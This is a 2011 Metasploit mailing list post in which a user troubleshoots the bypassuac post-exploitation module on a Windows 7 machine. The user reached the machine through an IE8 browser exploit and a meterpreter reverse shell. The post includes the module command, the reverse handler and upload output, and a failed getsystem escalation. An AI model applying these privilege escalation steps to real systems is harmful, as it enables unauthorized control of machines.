Metasploit mailing list archives

BypassUAC not working against Windows 7 x86


From: firstname lastname <psykosonik_frequenz () yahoo com>
Date: Sat, 3 Dec 2011 20:00:25 -0800 (PST)

I am trying to gain Local System Privileges on a Windows 7 x86 target system. I have a meterpreter reverse tcp shell on 
the victim's machine after a successful browser exploit on MSIE version 8.0 running on the target machine.

sysinfo output:

Computer        : Neon-PC
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x86
System Language : en_US
Meterpreter     : x86/win32

getuid output:

Server username: Neon-PC\Neon

Next I run the bypass uac script as follows:

use post/windows/escalate/bypassuac

Output:

[*] Started reverse handler on 192.168.2.6:4444
[*] Starting the payload handler...
[*] Uploading the bypass UAC executable to the filesystem...
[*] Meterpreter stager executable 73802 bytes long being uploaded..
[*] Uploaded the agent to the filesystem....


Next, when I type in getsystem, I still get the error as:

priv_elevate_getsystem: Operation failed: Access is denied.


I have gone through the ruby script, bypassuac.rb and looks like it's executing properly till the end. As a last step, 
after uploading the UAC bypass agent to target machine, it has to execute it.

But, looks like that is not happening. I even checked the %temp% directory on the target Windows Machine for the 
presence of any exe and did not find one.

Any help here would be appreciated.

PS: I have disabled Windows 7 Firewall as well, just in case that would be blocking any transfer of file. Also, there's 
no third party antivirus installed on the target machine.

Regards,
NeonFlash
_______________________________________________
https://mail.metasploit.com/mailman/listinfo/framework

Current thread: